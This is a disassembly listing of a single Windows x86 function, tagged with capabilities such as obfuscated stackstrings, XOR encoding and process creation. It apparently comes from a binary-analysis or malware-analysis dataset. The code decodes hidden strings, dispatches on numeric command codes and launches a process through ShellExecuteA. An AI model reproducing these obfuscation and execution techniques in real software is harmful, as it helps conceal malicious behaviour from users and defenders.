Function at 0x4098e0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4613c8
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x1e0
mov eax, dword [0x4790bc]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1f4], ecx
push 0
push 0x463c77
mov ecx, 0x479788
mov dword [ebp - 4], 0
mov byte [0x479784], 0
call fcn.004035c0
push 0x1024
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0x1024
mov edi, eax
push 0
push edi
call sub.VCRUNTIME140.dll_memset
sub esp, 8
mov dword [ebp - 0x1d8], 0x1002829
mov esi, esp
mov dword [ebp - 0x1e8], esp
push 6
push str.remove
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 6
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 6], 0
sub esp, 0xc
mov byte [ebp - 4], 1
mov edx, esp
mov dword [ebp - 0x2c], esp
mov dword [ebp - 0x1ec], edx
cmp byte [ebp - 0x1d5], 0
je 0x4099d8
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
add al, 0x14
xor byte [ebp + ecx - 0x1d8], al
inc ecx
cmp ecx, 2
jb 0x4099c0
mov byte [ebp - 0x1d5], 0
lea eax, [ebp - 0x1d1]
mov ecx, edx
push eax
lea eax, [ebp - 0x1d6]
push eax
lea eax, [ebp - 0x1d8]
push eax
call fcn.004065c0
mov esi, dword [0x479858]
sub esp, 0x18
mov edx, esp
mov byte [ebp - 4], 2
mov ecx, esi
mov dword [edx], 0
lea eax, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [ebp - 0x1ec], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409a22
sub ecx, dword [ebp - 0x1ec]
push ecx
push esi
mov ecx, edx
call fcn.004022a0
mov ecx, dword [ebp - 0x1f4]
lea eax, [ebp - 0x88]
push eax
mov byte [ebp - 4], 0
call fcn.0040ceb0
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x409a58
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x409a60
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x409aa6
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409a9c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x409a9c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045f2e0
add esp, 8
push dword [0x479858]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
sub esp, 0x14
mov ecx, edi
mov edx, esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409ad0
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.004022a0
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x1ed]
call fcn.004155b0
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x409afe
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x409b02
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x409b48
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409b3e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x409b3e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045f2e0
add esp, 8
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x2c], esp
push 1
push 0x463cb4
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 1], 0
sub esp, 0xc
mov byte [ebp - 4], 3
mov edx, esp
mov ecx, edi
mov dword [edx], 0
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409b97
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.004022a0
lea eax, [ebp - 0x1e4]
mov byte [ebp - 4], 0
push eax
call fcn.0040e8b0
add esp, 0x34
push edi
mov byte [ebp - 4], 4
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [ebp - 0x1e4]
add esp, 4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0x10
mov edi, eax
jb 0x409be0
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x1ec]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x1ec]
je 0x40b290
cmp dword [edi], 0x22
je 0x40b29a
cmp eax, 0x22b
jg 0x409c78
je case.0x409ca0.730
cmp eax, 0xa3
jg 0x409c63
je 0x409c32
cmp eax, 0x67
je 0x409c32
cmp eax, 0x71
jne case.0x409ca0.637
mov eax, dword [ebp - 0x1e4]
add eax, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x409c43
mov eax, dword [eax]
push eax
call fcn.00412be0
add esp, 4
mov byte [0x479785], 1
lea ecx, [ebp - 0x1e4]
call fcn.0040b3e0
jmp 0x40b272
sub eax, 0x193
je 0x409c32
sub eax, 1
je 0x409c32
mov byte [0x479784], 0
jmp 0x409c32
cmp eax, 0x387
jg 0x40b092
je case.0x409ca0.701
add eax, 0xfffffd84
cmp eax, 0x91
ja case.0x409ca0.637
movzx eax, byte [eax + 0x40b2bc]
jmp dword [eax*4 + 0x40b2a4]
mov eax, dword [0x47985c]
inc eax
mov dword [0x47985c], eax
cmp eax, 1
jne 0x409e28
push 4
call fcn.0045f2b0
add esp, 4
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x409cdb
mov ecx, eax
call fcn.00412930
mov esi, eax
jmp 0x409cdd
xor esi, esi
sub esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x2c], esp
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1e8], ecx
mov word [ebp - 0x1d8], 0x3a
push eax
lea eax, [ebp - 0x1d7]
mov byte [ebp - 0x1d6], 0
push eax
lea eax, [ebp - 0x1d8]
push eax
call fcn.004065c0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
mov edi, esp
mov byte [ebp - 4], 6
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402540
push edi
call fcn.004138b0
add esp, 0x1c
mov byte [ebp - 4], 4
lea eax, [ebp - 0x64]
push eax
call fcn.0040e8b0
add esp, 0x34
mov eax, dword [ebp - 0x64]
mov byte [ebp - 4], 7
cmp eax, 0x47980c
je 0x409d77
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x409d68
mov eax, dword [eax]
push ecx
push eax
mov ecx, 0x47980c
call fcn.004035c0
mov eax, dword [ebp - 0x64]
lea ecx, [eax + 0x18]
cmp ecx, 0x4797f4
je 0x409d9c
cmp dword [ecx + 0x14], 0x10
mov eax, dword [ecx + 0x10]
jb 0x409d8d
mov ecx, dword [ecx]
push eax
push ecx
mov ecx, 0x4797f4
call fcn.004035c0
mov eax, dword [ebp - 0x64]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.004129e0
mov esi, eax
cmp esi, 0x4797dc
je 0x409df4
mov ecx, 0x4797dc
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x4797dc], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x4797ec], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x88]
call fcn.004014e0
lea ecx, [ebp - 0x64]
mov dword [0x47987c], 0xf1
mov byte [0x479784], 1
call fcn.0040b3e0
lea ecx, [ebp - 0x1e4]
call fcn.0040b3e0
jmp 0x40b272
cmp eax, 2
jne 0x40a55c
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x88]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 8
jb 0x409e62
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409e85
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xe0]
call fcn.004022a0
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xa
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x128]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0xb
jb 0x409edb
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409f00
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x110]
call fcn.004022a0
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 0xd
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xc8]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0xe
jb 0x409f56
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409f73
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.004022a0
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x10
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xf8]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x11
jb 0x409fc9
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409ff0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x128]
call fcn.004022a0
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x13
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x1b8]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x14
jb 0x40a046
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a070
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xc8]
call fcn.004022a0
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x16
call fcn.004014e0
mov ecx, dword [ebp - 0x1f4]
add ecx, 0x60
cmp dword [ecx + 0x14], 0x10
mov edx, dword [ecx + 0x10]
jb 0x40a0a9
mov ecx, dword [ecx]
mov esi, dword [ebp - 0xcc]
lea eax, [ebp - 0xe0]
mov edi, dword [ebp - 0xe0]
cmp esi, 0x10
push edx
push ecx
push dword [ebp - 0xd0]
cmovae eax, edi
push eax
call fcn.00406ea0
add esp, 0x10
test al, al
jne 0x40a2c1
mov eax, dword [ebp - 0x1f4]
add eax, 0x18
mov dword [ebp - 0x2c], 0x726e703a
push 0x463cb8
push eax
lea eax, [ebp - 0x48]
mov word [ebp - 0x28], 0x100
push eax
call fcn.00406b80
add esp, 0xc
mov ecx, eax
push dword [ebp - 0xd0]
cmp esi, 0x10
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0xe0]
cmovae eax, edi
push eax
call fcn.0040b4d0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x2c]
call fcn.00407ea0
mov ecx, eax
cmp dword [ebp - 0x9c], 0x10
lea eax, [ebp - 0xb0]
push dword [ebp - 0xa0]
cmovae eax, dword [ebp - 0xb0]
push eax
push 0
mov byte [ebp - 4], 0x19
call fcn.0040ca30
mov dword [ebp - 0xf8], 0
lea ecx, [ebp - 0x70]
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xf8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xe8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.004014e0
lea ecx, [ebp - 0xb0]
call fcn.004014e0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x1c
call fcn.004014e0
cmp dword [ebp - 0xb4], 0x10
lea eax, [ebp - 0xc8]
lea ecx, [ebp - 0xb0]
cmovae eax, dword [ebp - 0xc8]
push eax
call fcn.00407110
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], 0x1d
push eax
lea eax, [ebp - 0xb0]
push eax
call fcn.00403d30
add esp, 8
lea ecx, [ebp - 0xb0]
call fcn.004014e0
cmp dword [ebp - 0xe4], 0x10
lea eax, [ebp - 0xf8]
cmovae eax, dword [ebp - 0xf8]
push 1
push 0
push 0
push eax
mov dword [ebp - 0x70], 0x4b634900
lea eax, [ebp - 0x70]
mov dword [ebp - 0x6c], 0x98499dca
mov dword [ebp - 0x68], 0xc5d91880
mov dword [ebp - 0x64], 0xe640ef73
movaps xmm1, xmmword [ebp - 0x70]
push eax
mov dword [ebp - 0xb0], 0x2506396f
mov dword [ebp - 0xac], 0x98499dca
mov dword [ebp - 0xa8], 0xc5d91880
mov dword [ebp - 0xa4], 0xe640ef73
pxor xmm1, xmmword [ebp - 0xb0]
push 0
movaps xmmword [ebp - 0x70], xmm1
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0xf8]
mov byte [0x479785], 1
mov byte [ebp - 4], 0x16
call fcn.004014e0
mov edi, dword [ebp - 0xe0]
cmp dword [ebp - 0xfc], 0x10
lea ecx, [ebp - 0x110]
mov esi, dword [ebp - 0x100]
cmovae ecx, dword [ebp - 0x110]
cmp esi, 1
jne 0x40a3c3
mov edx, 0x463c40
sub esi, 4
jb 0x40a301
nop
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40a306
add ecx, 4
add edx, 4
sub esi, 4
jae 0x40a2f0
cmp esi, 0xfffffffc
je 0x40a33a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40a333
cmp esi, 0xfffffffd
je 0x40a33a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40a333
cmp esi, 0xfffffffe
je 0x40a33a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40a333
cmp esi, 0xffffffff
je 0x40a33a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40a33a
sbb eax, eax
or eax, 1
jmp 0x40a33c
xor eax, eax
test eax, eax
jne 0x40a3c3
movaps xmm0, xmmword [str.Uefqzourp_H_Q]
xor ecx, ecx
movups xmmword [ebp - 0x168], xmm0
mov dword [ebp - 0x138], 0x31232164
movaps xmm0, xmmword [0x463e00]
movups xmmword [ebp - 0x158], xmm0
mov dword [ebp - 0x134], 0x3b25252d
movaps xmm0, xmmword [0x463d70]
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x130], 0x6f3f29
mov byte [ebp - 0x12c], 1
mov al, cl
add al, 0x14
xor byte [ebp + ecx - 0x168], al
inc ecx
cmp ecx, 0x3b
jb 0x40a395
lea eax, [ebp - 0x168]
mov byte [ebp - 0x12c], 0
push eax
call fcn.00412be0
add esp, 4
mov byte [0x479785], 1
lea eax, [ebp - 0x48]
mov dword [ebp - 0x2c], 0x72636760
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.00407ea0
mov esi, eax
cmp esi, 0x4798d8
je 0x40a418
mov ecx, 0x4798d8
call fcn.004014e0
movups xmm0, xmmword [esi]
movups xmmword [0x4798d8], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x4798e8], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea ecx, [ebp - 0x48]
call fcn.004014e0
mov ecx, dword [ebp - 0xb4]
mov dword [0x479878], 0xd0035f3
mov byte [0x479784], 1
cmp ecx, 0x10
jb 0x40a46b
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a461
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a53c
push ecx
push edx
call fcn.0045f2e0
add esp, 8
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x40a4a5
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a49b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a53c
push ecx
push edx
call fcn.0045f2e0
add esp, 8
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x40a4d8
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a4ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a53c
push ecx
push edx
call fcn.0045f2e0
add esp, 8
mov eax, dword [ebp - 0xfc]
cmp eax, 0x10
jb 0x40a510
mov edx, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40a506
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a53c
push ecx
push edx
call fcn.0045f2e0
add esp, 8
mov eax, dword [ebp - 0xcc]
cmp eax, 0x10
jb 0x409c53
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x40a542
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40a542
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.0045f2e0
add esp, 8
lea ecx, [ebp - 0x1e4]
call fcn.0040b3e0
jmp 0x40b272
cmp eax, 3
jne 0x40a96a
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x72636760
mov word [ebp - 0x28], 0x100
call fcn.0040bdd0
mov esi, eax
mov edx, esi
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x40a581
sub edx, eax
cmp dword [0x4798ec], 0x10
push edx
push esi
push dword [0x4798e8]
mov eax, 0x4798d8
cmovae eax, dword [0x4798d8]
push eax
call fcn.00406ea0
movzx ecx, byte [0x479785]
add esp, 0x10
test al, al
mov edx, 1
cmove ecx, edx
cmp dword [0x479878], 0xd0035f3
push 0xa
movzx eax, cl
cmovne eax, edx
push 0
mov byte [0x479785], al
sub esp, 0x18
mov eax, dword [ebp - 0x1e4]
mov ecx, esp
add eax, 0x18
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x1e
call fcn.0040eb00
add esp, 0xc
mov dword [0x4796b8], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1f
jb 0x40a642
mov eax, dword [eax]
push eax
mov ecx, 0x4796ec
call fcn.00407df0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
push 0xa
push 0
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x1b8]
push eax
call fcn.004138b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x20
call fcn.0040eb00
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040eb70
add esp, 8
mov ecx, 0x47971c
push eax
call fcn.00407db0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x21
jb 0x40a6e8
mov eax, dword [eax]
push eax
mov ecx, 0x479704
call fcn.00407df0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x22
jb 0x40a72b
mov eax, dword [eax]
push eax
mov ecx, 0x4796d4
call fcn.00407df0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x23
jb 0x40a770
mov eax, dword [eax]
push eax
mov ecx, 0x4797f4
call fcn.00407df0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1e4]
push 0xa
push 0
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.004138b0
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x24
call fcn.0040eb00
add esp, 0xc
mov dword [0x479780], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
lea eax, [ebp - 0x48]
mov dword [ebp - 0x2c], 0x63737b3a
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.00407ea0
push eax
mov ecx, 0x4798d8
call fcn.00407db0
lea ecx, [ebp - 0x48]
call fcn.004014e0
movaps xmm0, xmmword [0x463da0]
lea eax, [ebp - 0x48]
movups xmmword [ebp - 0x1a0], xmm0
lea ecx, [ebp - 0x1a0]
mov dword [0x479878], 0x369f
movaps xmm0, xmmword [0x463db0]
movups xmmword [ebp - 0x190], xmm0
push eax
movaps xmm0, xmmword [0x463d60]
movups xmmword [ebp - 0x180], xmm0
mov dword [0x479880], 0x2c5aa
movaps xmm0, xmmword [str.k__:e]
movups xmmword [ebp - 0x170], xmm0
mov dword [ebp - 0x130], 0xe6f2e4c0
movaps xmm0, xmmword [str._428__r_:_6___]
movups xmmword [ebp - 0x160], xmm0
mov word [ebp - 0x12c], 0x100
movaps xmm0, xmmword [0x463d80]
movups xmmword [ebp - 0x150], xmm0
movaps xmm0, xmmword [0x463e20]
movups xmmword [ebp - 0x140], xmm0
call fcn.00407ee0
push eax
mov ecx, 0x4798f0
call fcn.00407db0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea eax, [ebp - 0x48]
mov byte [0x479784], 1
push eax
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x1d8], 0x100205d
call fcn.00407e60
push eax
mov ecx, 0x479788
call fcn.00407db0
lea ecx, [ebp - 0x48]
call fcn.004014e0
movaps xmm0, xmmword [0x463dc0]
xor ecx, ecx
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0xa0], 0x4b534357
mov dword [ebp - 0x9c], 0x1005044
nop dword [eax]
mov al, cl
add al, 0x14
xor byte [ebp + ecx - 0xb0], al
inc ecx
cmp ecx, 0x16
jb 0x40a900
lea eax, [ebp - 0x1d1]
mov byte [ebp - 0x99], 0
push eax
lea eax, [ebp - 0x9a]
push eax
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x88]
call fcn.004065c0
lea eax, [ebp - 0x88]
mov ecx, 0x4797a0
push eax
call fcn.00407db0
lea ecx, [ebp - 0x88]
call fcn.004014e0
inc dword [0x47985c]
lea ecx, [ebp - 0x1e4]
call fcn.0040b3e0
jmp 0x40b272
cmp eax, 4
je 0x409c53
lea ecx, [ebp - 0x1e4]
mov byte [0x479785], 1
call fcn.0040b3e0
jmp 0x40b272
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x63737b3a
mov word [ebp - 0x28], 0x100
call fcn.0040bdd0
push eax
push 0x4798d8
call fcn.00406b40
movzx ecx, byte [0x479785]
add esp, 8
test al, al
mov edx, 1
cmovne ecx, edx
cmp dword [0x479878], 0x369f
movzx eax, cl
lea ecx, [ebp - 0x88]
cmovne eax, edx
cmp dword [0x479880], 0x2c5aa
movzx eax, al
cmovne eax, edx
push 0x4798f0
mov byte [0x479785], al
call fcn.00402540
lea eax, [ebp - 0x88]
push 0x479908
push eax
call fcn.00406b10
add esp, 8
mov byte [ebp - 0x1d1], al
lea ecx, [ebp - 0x88]
call fcn.004014e0
cmp byte [ebp - 0x1d1], 0
je 0x40aa28
mov byte [0x479785], 1
mov eax, dword [ebp - 0x1e4]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x88]
push eax
call fcn.004138b0
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x25
jb 0x40aa59
mov edx, dword [edx]
mov ecx, edx
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40aa80
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xc8]
call fcn.004022a0
mov ecx, dword [ebp - 0x74]
mov byte [ebp - 4], 0x27
cmp ecx, 0x10
jb 0x40aad3
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40aac9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40aac9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045f2e0
add esp, 8
cmp dword [ebp - 0xb4], 0x10
lea ecx, [ebp - 0xc8]
mov edi, dword [ebp - 0xc8]
mov esi, dword [ebp - 0xb8]
cmovae ecx, edi
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp esi, 8
jne 0x40afe9
mov edx, 0x463cbc
sub esi, 4
jb 0x40ab28
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40ab2d
add ecx, 4
add edx, 4
sub esi, 4
jae 0x40ab17
cmp esi, 0xfffffffc
je 0x40ab61
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40ab5a
cmp esi, 0xfffffffd
je 0x40ab61
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40ab5a
cmp esi, 0xfffffffe
je 0x40ab61
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40ab5a
cmp esi, 0xffffffff
je 0x40ab61
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40ab61
sbb eax, eax
